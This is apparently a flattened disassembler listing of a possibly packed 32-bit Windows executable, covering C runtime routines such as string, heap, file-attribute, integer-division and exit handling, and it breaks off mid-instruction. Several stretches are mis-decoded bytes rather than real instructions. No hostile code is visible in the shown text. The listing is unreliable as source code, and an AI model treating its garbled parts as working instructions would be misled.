XREF: sub_413A10+1Fj cld pop edi leave retn sub_413A10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A37 proc near ; CODE XREF: sub_4079F8+6p ; sub_407A16+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_462C58, 0 push ebx push esi push edi jnz short loc_413A64 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_413AFD cmp eax, 5Ah jg loc_413AFD add eax, 20h jmp loc_413AFD ; --------------------------------------------------------------------------- loc_413A64: ; CODE XREF: sub_413A37+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_413A98 cmp dword_4316BC, esi jle short loc_413A86 push esi push ebx call sub_414E26 pop ecx pop ecx jmp short loc_413A90 ; --------------------------------------------------------------------------- loc_413A86: ; CODE XREF: sub_413A37+42j mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, esi loc_413A90: ; CODE XREF: sub_413A37+4Dj test eax, eax jnz short loc_413A98 loc_413A94: ; CODE XREF: sub_413A37+ADj mov eax, ebx jmp short loc_413AFD ; --------------------------------------------------------------------------- loc_413A98: ; CODE XREF: sub_413A37+3Aj ; sub_413A37+5Bj mov edx, off_4314B0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_413ABC and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_413AC5 ; --------------------------------------------------------------------------- loc_413ABC: ; CODE XREF: sub_413A37+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_413AC5: ; CODE XREF: sub_413A37+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_462C58 call loc_418641 add esp, 20h test eax, eax jz short loc_413A94 cmp eax, esi jnz short loc_413AF0 movzx eax, [ebp+var_4] jmp short loc_413AFD ; --------------------------------------------------------------------------- loc_413AF0: ; CODE XREF: sub_413A37+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_413AFD: ; CODE XREF: sub_413A37+16j ; sub_413A37+1Fj ... pop edi pop esi pop ebx leave retn sub_413A37 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413B10 proc near ; CODE XREF: sub_409684+2Dp ; sub_41461C+5B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_413B31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_413B81 ; --------------------------------------------------------------------------- loc_413B31: ; CODE XREF: sub_413B10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_413B3F: ; CODE XREF: sub_413B10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_413B3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_413B6A cmp edx, [esp+4+arg_4] ja short loc_413B6A jb short loc_413B72 cmp eax, [esp+4+arg_0] jbe short loc_413B72 loc_413B6A: ; CODE XREF: sub_413B10+4Aj ; sub_413B10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_413B72: ; CODE XREF: sub_413B10+52j ; sub_413B10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_413B81: ; CODE XREF: sub_413B10+1Fj pop ebx retn 10h sub_413B10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413B90 proc near ; CODE XREF: sub_409684+3Fp ; sub_41461C+5C4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_413BB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_413BF3 ; --------------------------------------------------------------------------- loc_413BB2: ; CODE XREF: sub_413B90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_413BC0: ; CODE XREF: sub_413B90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_413BC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_413BEE cmp edx, [esp+8+arg_4] ja short loc_413BEE jb short loc_413BEF cmp eax, [esp+8+arg_0] jbe short loc_413BEF loc_413BEE: ; CODE XREF: sub_413B90+4Ej ; sub_413B90+54j dec esi loc_413BEF: ; CODE XREF: sub_413B90+56j ; sub_413B90+5Cj xor edx, edx mov eax, esi loc_413BF3: ; CODE XREF: sub_413B90+20j pop esi pop ebx retn 10h sub_413B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413BF8 proc near ; CODE XREF: .nsp0:00409BF5p ; .nsp0:0040ED69p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_4126F0 cmp eax, 1 pop ecx jb short loc_413C33 cmp byte ptr [ebx+1], 3Ah jnz short loc_413C33 mov esi, [ebp+arg_4] test esi, esi jz short loc_413C2F push 2 push ebx push esi call sub_418C70 add esp, 0Ch and byte ptr [esi+2], 0 loc_413C2F: ; CODE XREF: sub_413BF8+25j inc ebx inc ebx jmp short loc_413C3D ; --------------------------------------------------------------------------- loc_413C33: ; CODE XREF: sub_413BF8+18j ; sub_413BF8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_413C3D and byte ptr [eax], 0 loc_413C3D: ; CODE XREF: sub_413BF8+39j ; sub_413BF8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_413CB5 loc_413C50: ; CODE XREF: sub_413BF8+87j mov cl, [eax] movzx edx, cl test byte_464101[edx], 4 jz short loc_413C61 inc eax jmp short loc_413C7B ; --------------------------------------------------------------------------- loc_413C61: ; CODE XREF: sub_413BF8+64j cmp cl, 2Fh jz short loc_413C75 cmp cl, 5Ch jz short loc_413C75 cmp cl, 2Eh jnz short loc_413C7B mov [ebp+var_4], eax jmp short loc_413C7B ; --------------------------------------------------------------------------- loc_413C75: ; CODE XREF: sub_413BF8+6Cj ; sub_413BF8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_413C7B: ; CODE XREF: sub_413BF8+67j ; sub_413BF8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_413C50 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_413CB5 cmp [ebp+arg_8], 0 jz short loc_413CB0 sub edi, ebx cmp edi, esi jb short loc_413C99 mov edi, esi loc_413C99: ; CODE XREF: sub_413BF8+9Dj push edi push ebx push [ebp+arg_8] call sub_418C70 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_413CB0: ; CODE XREF: sub_413BF8+97j mov ebx, [ebp+arg_4] jmp short loc_413CBF ; --------------------------------------------------------------------------- loc_413CB5: ; CODE XREF: sub_413BF8+56j ; sub_413BF8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_413CBF and byte ptr [ecx], 0 loc_413CBF: ; CODE XREF: sub_413BF8+BBj ; sub_413BF8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_413D12 cmp edi, ebx jb short loc_413D12 cmp [ebp+arg_C], 0 jz short loc_413CEF sub edi, ebx cmp edi, esi jb short loc_413CD8 mov edi, esi loc_413CD8: ; CODE XREF: sub_413BF8+DCj push edi push ebx push [ebp+arg_C] call sub_418C70 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_413CEF: ; CODE XREF: sub_413BF8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_413D3A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_413CFF mov esi, eax loc_413CFF: ; CODE XREF: sub_413BF8+103j push esi push [ebp+var_4] push edi call sub_418C70 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_413D3A ; --------------------------------------------------------------------------- loc_413D12: ; CODE XREF: sub_413BF8+CCj ; sub_413BF8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_413D30 sub eax, ebx cmp eax, esi jnb short loc_413D21 mov esi, eax loc_413D21: ; CODE XREF: sub_413BF8+125j push esi push ebx push edi call sub_418C70 add esp, 0Ch and byte ptr [esi+edi], 0 loc_413D30: ; CODE XREF: sub_413BF8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_413D3A and byte ptr [eax], 0 loc_413D3A: ; CODE XREF: sub_413BF8+FCj ; sub_413BF8+118j ... pop edi pop esi pop ebx leave retn sub_413BF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D3F proc near ; CODE XREF: sub_408E8B+19p ; sub_40F9AB+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41461C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_413D7D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_413D8A ; --------------------------------------------------------------------------- loc_413D7D: ; CODE XREF: sub_413D3F+34j lea eax, [ebp+var_20] push eax push 0 call sub_414507 pop ecx pop ecx loc_413D8A: ; CODE XREF: sub_413D3F+3Cj mov eax, esi pop esi leave retn sub_413D3F endp ; =============== S U B R O U T I N E ======================================= sub_413D8F proc near ; CODE XREF: sub_4090E9+2Ep ; sub_4131A3+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_413DAA push [esp+10h+arg_4] call sub_41279F pop ecx jmp loc_413EAA ; --------------------------------------------------------------------------- loc_413DAA: ; CODE XREF: sub_413D8F+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_413DC0 push ebx call sub_412813 pop ecx loc_413DB9: ; CODE XREF: sub_413D8F+114j xor eax, eax jmp loc_413EAA ; --------------------------------------------------------------------------- loc_413DC0: ; CODE XREF: sub_413D8F+21j ; sub_413D8F+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_413E8B push ebx call sub_4153CD mov ebp, eax pop ecx test ebp, ebp jz loc_413E68 cmp esi, dword_4316CC ja short loc_413E28 push esi push ebx push ebp call sub_415BD8 add esp, 0Ch test eax, eax jz short loc_413DF7 mov edi, ebx jmp short loc_413E20 ; --------------------------------------------------------------------------- loc_413DF7: ; CODE XREF: sub_413D8F+62j push esi call sub_415723 mov edi, eax pop ecx test edi, edi jz short loc_413E28 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_413E0E mov eax, esi loc_413E0E: ; CODE XREF: sub_413D8F+7Bj push eax push ebx push edi call sub_411FD0 push ebx push ebp call sub_4153F8 add esp, 14h loc_413E20: ; CODE XREF: sub_413D8F+66j test edi, edi jnz loc_413EA8 loc_413E28: ; CODE XREF: sub_413D8F+53j ; sub_413D8F+73j test esi, esi jnz short loc_413E2F push 1 pop esi loc_413E2F: ; CODE XREF: sub_413D8F+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_464220 call dword_41D144 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_413E8B mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_413E54 mov eax, esi loc_413E54: ; CODE XREF: sub_413D8F+C1j push eax push ebx push edi call sub_411FD0 push ebx push ebp call sub_4153F8 add esp, 14h jmp short loc_413E87 ; --------------------------------------------------------------------------- loc_413E68: ; CODE XREF: sub_413D8F+47j test esi, esi jnz short loc_413E6F push 1 pop esi loc_413E6F: ; CODE XREF: sub_413D8F+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_464220 call dword_41D158 ; RtlReAllocateHeap mov edi, eax loc_413E87: ; CODE XREF: sub_413D8F+D7j test edi, edi jnz short loc_413EA8 loc_413E8B: ; CODE XREF: sub_413D8F+36j ; sub_413D8F+B9j cmp dword_462C24, 0 jz short loc_413EA8 push esi call sub_415338 test eax, eax pop ecx jnz loc_413DC0 jmp loc_413DB9 ; --------------------------------------------------------------------------- loc_413EA8: ; CODE XREF: sub_413D8F+93j ; sub_413D8F+FAj ... mov eax, edi loc_413EAA: ; CODE XREF: sub_413D8F+16j ; sub_413D8F+2Cj pop edi pop esi pop ebp pop ebx retn sub_413D8F endp ; =============== S U B R O U T I N E ======================================= sub_413EAF proc near ; CODE XREF: sub_40966A+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_41D080 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_413ECF call dword_41D06C ; RtlGetLastWin32Error push eax call sub_418CFA pop ecx loc_413ECB: ; CODE XREF: sub_413EAF+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_413ECF: ; CODE XREF: sub_413EAF+Dj test al, 1 jz short loc_413EF0 test [esp+arg_4], 2 jz short loc_413EF0 mov dword_462BC4, 0Dh mov dword_462BC8, 5 jmp short loc_413ECB ; --------------------------------------------------------------------------- loc_413EF0: ; CODE XREF: sub_413EAF+22j ; sub_413EAF+29j xor eax, eax retn sub_413EAF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413F00 proc near ; CODE XREF: sub_409794+5Fp ; sub_409794+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_413F21 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_413F21: ; CODE XREF: sub_413F00+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_413F3D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_413F3D: ; CODE XREF: sub_413F00+27j or eax, eax jnz short loc_413F59 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_413F9A ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413F00+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_413F67: ; CODE XREF: sub_413F00+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_413F67 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_413F95 cmp edx, [esp+0Ch+arg_4] ja short loc_413F95 jb short loc_413F96 cmp eax, [esp+0Ch+arg_0] jbe short loc_413F96 loc_413F95: ; CODE XREF: sub_413F00+85j ; sub_413F00+8Bj dec esi loc_413F96: ; CODE XREF: sub_413F00+8Dj ; sub_413F00+93j xor edx, edx mov eax, esi loc_413F9A: ; CODE XREF: sub_413F00+57j dec edi jnz short loc_413FA4 neg edx neg eax sbb edx, 0 loc_413FA4: ; CODE XREF: sub_413F00+9Bj pop ebx pop esi pop edi retn 10h sub_413F00 endp ; =============== S U B R O U T I N E ======================================= sub_413FAA proc near ; CODE XREF: .nsp0:0041445Bp mov eax, off_43147C test eax, eax jz short loc_413FB5 call eax ; sub_412911 loc_413FB5: ; CODE XREF: sub_413FAA+7j push offset dword_41F024 push offset dword_41F010 call sub_414092 push offset dword_41F00C push offset dword_41F000 call sub_414092 add esp, 10h retn sub_413FAA endp ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_413FF9 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_413FE8 proc near ; CODE XREF: sub_4144BE+1Cp ; sub_41746C+3429p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_413FF9 add esp, 0Ch retn sub_413FE8 endp ; =============== S U B R O U T I N E ======================================= sub_413FF9 proc near ; CODE XREF: .nsp0:00413FDFp ; sub_413FE8+8p arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_462C0C, edi jnz short near ptr loc_414015+1 push [esp+4+arg_0] call near ptr 0AB0000h jbe short near ptr loc_41405E+2 call near ptr 0AB0000h loc_414015: ; CODE XREF: sub_413FF9+Aj add [ebx+0C247Ch], al push ebx mov ebx, [esp+8+arg_8] mov dword_462C08, edi mov byte_462C04, bl jnz short loc_41406A mov eax, dword_464234 test eax, eax jz short loc_414059 mov ecx, dword_464230 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_414058 loc_414045: ; CODE XREF: sub_413FF9+5Dj mov eax, [esi] test eax, eax jz short loc_41404D call eax loc_41404D: ; CODE XREF: sub_413FF9+50j sub esi, 4 cmp esi, dword_464234 jnb short loc_414045 loc_414058: ; CODE XREF: sub_413FF9+4Aj pop esi loc_414059: ; CODE XREF: sub_413FF9+3Cj push offset dword_41F030 loc_41405E: ; CODE XREF: sub_413FF9+15j push offset dword_41F028 call sub_414092 pop ecx pop ecx loc_41406A: ; CODE XREF: sub_413FF9+33j push offset dword_41F03C push offset dword_41F034 call sub_414092 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_414090 push [esp+4+arg_0] mov dword_462C0C, edi call dword_41D108 ; ExitProcess loc_414090: ; CODE XREF: sub_413FF9+85j pop edi retn sub_413FF9 endp ; =============== S U B R O U T I N E ======================================= sub_414092 proc near ; CODE XREF: sub_413FAA+15p ; sub_413FAA+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_414097: ; CODE XREF: sub_414092+16j cmp esi, [esp+4+arg_4] jnb short loc_4140AA mov eax, [esi] test eax, eax jz short loc_4140A5 call eax loc_4140A5: ; CODE XREF: sub_414092+Fj add esi, 4 jmp short loc_414097 ; --------------------------------------------------------------------------- loc_4140AA: ; CODE XREF: sub_414092+9j pop esi retn sub_414092 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140AC proc near ; CODE XREF: .nsp0:0040E3A9p ; .nsp0:0040E3D8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_4140C0 xor eax, eax jmp short loc_4140F6 ; --------------------------------------------------------------------------- loc_4140C0: ; CODE XREF: sub_4140AC+Ej dec [ebp+arg_4] push esi jz short loc_4140F0 mov esi, [ebp+arg_8] loc_4140C9: ; CODE XREF: sub_4140AC+42j dec dword ptr [esi+4] js short loc_4140D8 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_4140DF ; --------------------------------------------------------------------------- loc_4140D8: ; CODE XREF: sub_4140AC+20j push esi call sub_418180 pop ecx loc_4140DF: ; CODE XREF: sub_4140AC+2Aj cmp eax, 0FFFFFFFFh jz short loc_4140FA mov [edi], al inc edi cmp al, 0Ah jz short loc_4140F0 dec [ebp+arg_4] jnz short loc_4140C9 loc_4140F0: ; CODE XREF: sub_4140AC+18j ; sub_4140AC+3Dj ... and byte ptr [edi], 0 loc_4140F3: ; CODE XREF: sub_4140AC+55j mov eax, ebx pop esi loc_4140F6: ; CODE XREF: sub_4140AC+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4140FA: ; CODE XREF: sub_4140AC+36j cmp edi, [ebp+arg_0] jnz short loc_4140F0 xor ebx, ebx jmp short loc_4140F3 sub_4140AC endp ; =============== S U B R O U T I N E ======================================= sub_414103 proc near ; CODE XREF: .nsp0:0040C9CCp arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 0AB0000h adc al, 85h sal byte ptr [ebp+8], 0FFh adc eax, offset dword_41D06C jmp short loc_41411B ; --------------------------------------------------------------------------- xor eax, eax loc_41411B: ; CODE XREF: sub_414103+14j test eax, eax jz short loc_41412A push eax call sub_418CFA pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41412A: ; CODE XREF: sub_414103+1Aj xor eax, eax retn sub_414103 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_414140 loc_414130: ; CODE XREF: sub_414140+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_414140 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414140 proc near ; CODE XREF: .nsp0:0040A748p ; .nsp0:0040A7EFp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00414130 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_414146: ; CODE XREF: sub_4124C0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41416B loc_414158: ; CODE XREF: sub_414140+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_414130 test cl, cl jz short loc_4141B4 test edx, 3 jnz short loc_414158 loc_41416B: ; CODE XREF: sub_414140+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_414176: ; CODE XREF: sub_414140+61j ; sub_414140+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4141B8 and eax, 81010100h jz short loc_414176 and eax, 1010100h jnz short loc_4141B2 and esi, 80000000h jnz short loc_414176 loc_4141B2: ; CODE XREF: sub_414140+68j ; sub_414140+81j ... pop esi pop edi loc_4141B4: ; CODE XREF: sub_414140+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4141B8: ; CODE XREF: sub_414140+5Aj mov eax, [edx-4] cmp al, bl jz short loc_4141F5 test al, al jz short loc_4141B2 cmp ah, bl jz short loc_4141EE test ah, ah jz short loc_4141B2 shr eax, 10h cmp al, bl jz short loc_4141E7 test al, al jz short loc_4141B2 cmp ah, bl jz short loc_4141E0 test ah, ah jz short loc_4141B2 jmp short loc_414176 ; --------------------------------------------------------------------------- loc_4141E0: ; CODE XREF: sub_414140+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_4141E7: ; CODE XREF: sub_414140+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4141EE: ; CODE XREF: sub_414140+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4141F5: ; CODE XREF: sub_414140+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_414140 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41424C mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41424D test eax, 1 jz short loc_41422D mov cl, [esi] cmp cl, [edi] jnz short loc_41427A inc esi inc edi dec eax jz short loc_41424A loc_41422D: ; CODE XREF: .nsp0:00414220j ; .nsp0:00414248j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41427A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41427A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41422D loc_41424A: ; CODE XREF: .nsp0:0041422Bj ; .nsp0:00414284j pop edi pop esi locret_41424C: ; CODE XREF: .nsp0:00414206j retn ; --------------------------------------------------------------------------- loc_41424D: ; CODE XREF: .nsp0:00414219j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_414282 repe cmpsd jz short loc_414282 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_414275 cmp ch, dh jnz short loc_414275 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_414275 cmp ch, dh loc_414275: ; CODE XREF: .nsp0:00414263j ; .nsp0:00414267j ... mov eax, 0 loc_41427A: ; CODE XREF: .nsp0:00414226j ; .nsp0:00414233j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_414282: ; CODE XREF: .nsp0:00414255j ; .nsp0:00414259j test eax, eax jz short loc_41424A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_414275 dec eax jz short loc_4142A9 cmp dh, ch jnz short loc_414275 dec eax jz short loc_4142A9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_414275 dec eax loc_4142A9: ; CODE XREF: .nsp0:0041428Fj ; .nsp0:00414296j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_4142AC proc near ; CODE XREF: sub_41094E+55p ; sub_41135F+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4142C3 loc_4142B9: ; CODE XREF: sub_4142AC+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4142B9 loc_4142C3: ; CODE XREF: sub_4142AC+Bj sub eax, ecx sar eax, 1 dec eax retn sub_4142AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142C9 proc near ; CODE XREF: sub_41094E+19p ; sub_41094E+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_414396 mov edi, [ebp+arg_8] cmp edi, esi jz loc_4143C3 cmp dword_462C58, esi jnz short loc_41431A cmp edi, esi jbe loc_4143C3 loc_4142F9: ; CODE XREF: sub_4142C9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_4143C3 inc eax inc edx inc edx cmp eax, edi jb short loc_4142F9 jmp loc_4143C3 ; --------------------------------------------------------------------------- loc_41431A: ; CODE XREF: sub_4142C9+26j mov ebx, [ebp+arg_4] mov esi, dword_41D130 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_462C68 call esi ; dword_41D130 test eax, eax jnz loc_4143C2 call dword_41D06C ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_414354 loc_414345: ; CODE XREF: sub_4142C9+CBj ; sub_4142C9+F7j mov dword_462BC4, 2Ah or eax, 0FFFFFFFFh jmp short loc_4143C3 ; --------------------------------------------------------------------------- loc_414354: ; CODE XREF: sub_4142C9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41435C: ; CODE XREF: sub_4142C9+B3j mov cl, [eax] test cl, cl jz short loc_41437E mov edx, off_4314B0 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_414373 inc eax loc_414373: ; CODE XREF: sub_4142C9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41435C loc_41437E: ; CODE XREF: sub_4142C9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_462C68 call esi ; dword_41D130 test eax, eax jnz short loc_4143C3 jmp short loc_414345 ; --------------------------------------------------------------------------- loc_414396: ; CODE XREF: sub_4142C9+Fj cmp dword_462C58, esi jnz short loc_4143A9 push [ebp+arg_4] call sub_4126F0 pop ecx jmp short loc_4143C3 ; --------------------------------------------------------------------------- loc_4143A9: ; CODE XREF: sub_4142C9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_462C68 call dword_41D130 ; MultiByteToWideChar cmp eax, esi jz short loc_414345 loc_4143C2: ; CODE XREF: sub_4142C9+6Bj dec eax loc_4143C3: ; CODE XREF: sub_4142C9+1Aj ; sub_4142C9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4142C9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41D670 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_41D164 ; GetVersion xor edx, edx mov dl, ah mov dword_462BDC, edx mov ecx, eax and ecx, 0FFh mov dword_462BD8, ecx shl ecx, 8 add ecx, 